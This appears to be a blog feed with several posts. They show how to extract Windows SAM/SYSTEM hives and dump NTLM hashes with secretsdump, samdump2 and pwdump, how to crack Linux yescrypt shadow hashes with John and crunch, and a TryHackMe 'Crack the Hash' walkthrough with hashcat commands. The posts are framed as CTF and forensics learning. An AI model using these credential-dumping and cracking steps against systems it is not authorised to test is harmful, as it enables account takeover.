 Directory of C:\Users\All Users\Microsoft\Windows\Start Menu\Programs

01/29/2024  05:45 AM    <DIR>          hMailServer
               0 File(s)              0 bytes

 Directory of C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\hMailServer

01/29/2024  05:45 AM             1,175 hMailServer Administrator.lnk
01/29/2024  05:45 AM             1,158 hMailServer Database Setup.lnk
               2 File(s)          2,333 bytes

 Directory of C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\hMailServer\Installation

01/29/2024  05:45 AM             1,077 Uninstall hMailServer.lnk
               1 File(s)          1,077 bytes

I gave this terminal directory output and ask the AI about the best chance to get that type of info from and the AI said ->

And we got the Administrator's Password ->

Decode that hash in crackstation you will get the password :)

How to Crack the SAM Database in Kali Linux | Windows Password Hash Extraction Guide

Md. Ibrahim Reza Rabbi — Sun, 19 Apr 2026 17:23:10 +0000

In this guide, I will show you an approach to crack the Windows SAM database NTLM hashes. Before cracking, you first need to obtain these three files from the target system: SAM, SYSTEM, and SECURITY. I had a .ova file of a Windows virtual machine, so I will demonstrate how to extract them from that image. First, you need to dump the target system’s image. If it is a VM or virtual disk image, then this method of extracting those three files will be useful for you.

Convert the .ova file into a .rar file and then extract that . And we got this →

I loaded the “Windows-disk001.vmdk” file as an image in Magnet AXIOM. You can also use Autopsy or FTK Imager for this task. When the processing was complete, we went to the →

Directory → “ windows/system32/config “

Exported SAM , SYSTEM & SECURITY file and paste that in kali linux .

┌──(kali㉿kali)-[~/Windows_dump]
└─$ sudo apt install python3-impacket                                     
python3-impacket is already the newest version (0.12.0+gite61ff5d-0kali1).
Summary:
  Upgrading: 0, Installing: 0, Removing: 0, Not Upgrading: 235                                                                                                              
┌──(kali㉿kali)-[~/Windows_dump]
└─$ python3 -m impacket.examples.secretsdump -sam SAM -system SYSTEM LOCAL

┌──(kali㉿kali)-[~/Windows_dump]
└─$ samdump2 SYSTEM SAM > hashes.txt                                                                                                                                  
┌──(kali㉿kali)-[~/Windows_dump]
└─$ cat hashes.txt 
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
*disabled* Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
*disabled* :503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
*disabled* :504:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1001:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1002:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1003:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1004:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1005:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1006:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1007:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1008:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1009:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1010:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1011:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1012:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1013:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1014:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1015:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1016:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1017:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1018:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1019:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
support_admin:1020:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::                                                                                           
┌──(kali㉿kali)-[~/Windows_dump]
└─$ ls
hashes.txt  SAM  SECURITY  SYSTEM

┌──(kali㉿kali)-[~/Windows_dump]
└─$

After that the hash will be cracked if that password is present in the "rockyou.txt" wordlist
If you want more powerful one →

┌──(kali㉿kali)-[~/Windows_dump]
└─$ creddump7 
creddump7 - Python tool to extract credentials and secrets from Windows registry hives
/usr/share/creddump7
├── cachedump.py
├── framework
├── lsadump.py
├── pwdump.py
└── __pycache__
┌──(kali㉿kali)-[/usr/share/creddump7]
└─$ ls
cachedump.py  framework  lsadump.py  pwdump.py  __pycache__

┌──(kali㉿kali)-[/usr/share/creddump7]
└─$ python pwdump.py                                                                                          
usage: pwdump.py <system hive> <SAM hive>

┌──(kali㉿kali)-[/usr/share/creddump7]
└─$ python pwdump.py ~/Windows_dump/SYSTEM ~/Windows_dump/SAM 
Administrator:500:aad3b435b51404eeaad3b435b51404ee:22775c1ecbe2bd7d69c6dcd55b7f9b25:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:4fa9775c90b54e688035a28e04d59a3c:::
james.l:1000:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
amir.k:1001:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
sadia.b:1002:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
karim.r:1003:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
anika.d:1004:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
rashed.h:1005:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
nafisa.j:1006:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
sumon.t:1007:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
nazia.c:1008:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
arif.w:1009:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
kamal.n:1010:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
bilkis.z:1011:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
rubel.m:1012:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
tania.y:1013:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
robin.p:1014:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
sohan.v:1015:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
nayeem.d:1016:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
salma.q:1017:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
hossain.a:1018:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
meem.u:1019:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
support_admin:1020:aad3b435b51404eeaad3b435b51404ee:8a46225c4f14f99711b0c2d6002d3af2:::

with “ john jumbo “ ⇒

And, after that the password will be cracked.

Recover Lost Linux Password Using Yescrypt Hash Cracking (Kali & Shadow File Guide)

Md. Ibrahim Reza Rabbi — Sun, 19 Apr 2026 11:45:08 +0000

In Linux systems, user passwords are not stored in plain text. Instead, they are stored as cryptographic hashes inside the /etc/shadow file. Modern distributions use yescrypt ( $y$ ), a memory-hard password hashing algorithm designed to resist brute-force and GPU-based attacks.

Since hashing is a one-way function, passwords cannot be decrypted. Recovery is done through hash cracking, where candidate passwords are hashed and compared against the stored value. Tools such as John the Ripper Jumbo are commonly used for this process.

Because yescrypt is computationally expensive, blind brute-force attacks are inefficient. The most practical approach is a dictionary attack, where prebuilt wordlists (such as rockyou.txt) are used along with mutation rules. In real-world CTFs, success depends heavily on contextual guessing, such as usernames, system themes, or predictable password patterns.

Hash Location in Linux

Password hashes are stored in /etc/shadow with the following structure:

username:hash:lastchg:min:max:warn:inactive:expire:reserved

Example entry:

kali:$y$j9T$zY1oKFxJlTgP2WcJhzbNl1$xhkUmB8R9fzETc/1kgL/nOPcWFTvhn17clxXCgyFjpC:19953:0:99999:7:::

Breakdown:

kali → username
$y$j9T$... → password hash (used for cracking only)
- $y$ → yescrypt algorithm
- j9T → cost parameters
- salt → zY1oKFxJlTgP2WcJhzbNl1
- hash → xhkUmB8R9fzETc/...
Remaining fields → password policy metadata

For cracking purposes, only the hash portion is required:

$y$j9T$zY1oKFxJlTgP2WcJhzbNl1$xhkUmB8R9fzETc/1kgL/nOPcWFTvhn17clxXCgyFjpC

Now, before cracking, you also need to get that hash from your system :)

For this purpose, we will choose the Autopsy software, which is a free forensic tool. Install it and open an empty case. When complete, follow the image instructions.

Note: The given process works for Disk image type or VM type file forensics.

Now, select the image contain file and the image ->

Then, go next , next. Then it start the analyze and it will take some time when it is finish by the given image way you will be able to get the shadow file :')->

Step 1: Prepare Hash File

echo '$y$j9T$zY1oKFxJlTgP2WcJhzbNl1$xhkUmB8R9fzETc/1kgL/nOPcWFTvhn17clxXCgyFjpC' > hash.txt

Now, for cracking I will prefer John the ripper. If, default kali not work then you may use the john jumbo link & install_explain_link. After, it is installed let's follow the below steps

Step 2: Dictionary Attack

john --format=crypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

Check results:

john --show hash.txt

Step 3: When Dictionary Attack Fails

If the password is not present in the wordlist, more advanced techniques are required.

1. Sequential brute force (incremental attack)

This method tries all possible combinations:

john --format=crypt --incremental hash.txt

2. Custom wordlist generation using Crunch

Crunch allows generation of targeted wordlists instead of random brute force.

Basic syntax:

crunch <min> <max> <charset> -o wordlist.txt

Examples:

Numeric-only wordlist (4–6 digits):

crunch 4 6 0123456789 -o numbers.txt

Lowercase alphabet wordlist (3–5 characters):

crunch 3 5 abcdefghijklmnopqrstuvwxyz -o alpha.txt

Mixed pattern wordlist:

crunch 6 6 abcdef123 -o custom.txt

3. Use custom wordlist with John

john --format=crypt --wordlist=custom.txt hash.txt

Summary

Start with dictionary attack using rockyou.txt
Apply rule-based mutations
If unsuccessful, use custom wordlists (Crunch)
Use incremental brute force only as a last resort
Always prioritize contextual password guessing over blind attacks

Key Insight

Yescrypt is designed to resist brute-force attacks. Effective cracking depends not on raw computation, but on intelligent wordlist construction and contextual analysis. This is why dictionary-based attacks remain the most practical method in CTFs and security testing environments.

Offline Hash Cracking Tutorial: Crack the Hash Room Walkthrough | TryHackMe

Md. Ibrahim Reza Rabbi — Sun, 19 Apr 2026 09:04:19 +0000

Can you complete the level 1 tasks by cracking the hashes?
Question-01:

Hash: 48bb6e862e54f2a795ffc4e541caed4d

Identifying the hash type (tools used -> "haiti" , "hash-identifier" , "hashid" )

All indicating MD5 (mode 0)

Now, put the hash text in the hash.txt file

Question-02:

Hash: CBFDAC6008F9CAB4083784CBD1874F76618D2A97

Let's solve this with "john the ripper" tool

Question-03:

Hash: 1C8BFE8F801D79745C4631D09FFF36C82AA37FC4CCE4FC946683D7B336B63032

like the 1 ->

Question-04:

Hash: $2y$12$Dwt1BZj6pcyc3Dy1FWZ5ieeUznr71EeNkJkUlypTsgbX1H68wsRom

It will take many time if we want to crack it by hashcat blowfish method normally

confirmed “blowfish”
Now, this will take long time crack

So, let’s do brute force as string (Where I don’t know the length and assuming all lowercase letters)

It will also take very much time :’/
But , from internet i know the result is “bleh”
so, for fast work modify the previous code to show it in short time

It will execute the hash very fast as it know the length and 1st 2 characters of hash crack

Question-05:

Hash: 279412f945939ba78ce0758d3fd83daa

Now, this is mine favorite one among all. From, crack station,

Now, I will use mine own create Linux tool which very efficient in password existence finding from wordlists. you can visit this link for more info

Ibrahim71Reza / password_finder

🚀 pwfind (Password Find)

The Ultimate, World's Fastest Password and Secret Finder for Huge Wordlists.

Stop crashing your RAM. Start finding secrets instantly.

⚡ Why `pwfind`?

When penetration testers, bug bounty hunters, or sysadmins work with massive datasets (like a 50GB SecLists dump or massive compressed server logs), standard tools like grep or Python scripts will either bottleneck on CPU, or load the whole file into RAM and crash the system.

pwfind is written in highly optimized Rust. It utilizes multi-threading, memory-safe buffered streaming, and on-the-fly decompression to hunt for exact passwords or regex secrets across millions of lines in a fraction of a second.

✨ Core Features

🏎️ Blazing Fast Concurrency: Utilizes all your CPU cores to search dozens of files simultaneously.
🧠 Hacker Intelligence (Presets): Built-in complex Regex patterns to instantly find JWT Tokens, AWS Keys, IPv4 Addresses, and Emails.
📦 On-the-Fly Decompression: Searches directly…

View on GitHub

Now, if you notice you will see there is no single wordlist which have this password in it

So, we have to go for a long bruteforce to crack this :) No quick dictionary attack :'(

We can use this payload,

hashcat -m 900 -a 3 hash.txt ?a?l?l?l?l?l?l?l?d?d

This will also take time but will work at the end
To ensure you it will work just running a sample case of that code manually,

Okay now, We will jump to the 2nd level of this ->

Question-1:

Hash: F09EDCB1FCEFC6DFB23DC3505A882655FF77375ED8AA2D1C13F640FCCC2D0C85

Now, lets crack this with SHA-256 mode 1400 by hashcat

Question-2:

Hash: 1DFECA0C002AE40B8619ECF94819CC1B

Now, this hash is tricky though it is showing MD5 or any version of MD but it is "NTLM". So, we should not blindly trust the top guess of this tools rather than sequentially test all the hash until we will get the hash cracked.

Question-3:

Hash: $6$aReallyHardSalt$6WKUTqzq.UQQmrm0p/T7MPpMbGNnzXPMAXi4bJMl9be.cfi3/qxIf.hsGpS41BqMhSrHVXgMpdjS6xeKZAs02.

Salt: aReallyHardSalt

Now, it is bit tricky. Go to hashcat_wiki and search the $6$ tag and understand which mode is this. ->

okay now lets crack we don't need to add the salt in the hash manually cause it is attached with that in the hash. But, most of we miss to add the (.) full stop at the end. This full stop is a part of this hash. And also it will take some time to crack ->

Question-4:

Hash: e5d8870e5bdd26602cab8dbe07a942c8669e56d6
Salt: tryhackme

now if we look at the hashcat_wiki the Sha-1 with salt is the mode 110 and also see the format sha1($pass.$salt) ->

But, unfortunately it didn't work :) then I sequentially search for other sha1 and salt type hash mode and I found this ->

And with that 160 mode we cracked the hash ->

┌──(kali㉿kali)-[~/password]
└─$ echo 'e5d8870e5bdd26602cab8dbe07a942c8669e56d6:tryhackme' > hash.txt

┌──(kali㉿kali)-[~/password]
└─$ hashcat -m 160 -a 0 hash.txt /usr/share/wordlists/rockyou.txt      
hashcat (v7.1.2) starting

OpenCL API (OpenCL 3.0 PoCL 6.0+debian  Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
====================================================================================================================================================
* Device #01: cpu-sandybridge-12th Gen Intel(R) Core(TM) i5-12450H, 1466/2933 MB (512 MB allocatable), 4MCU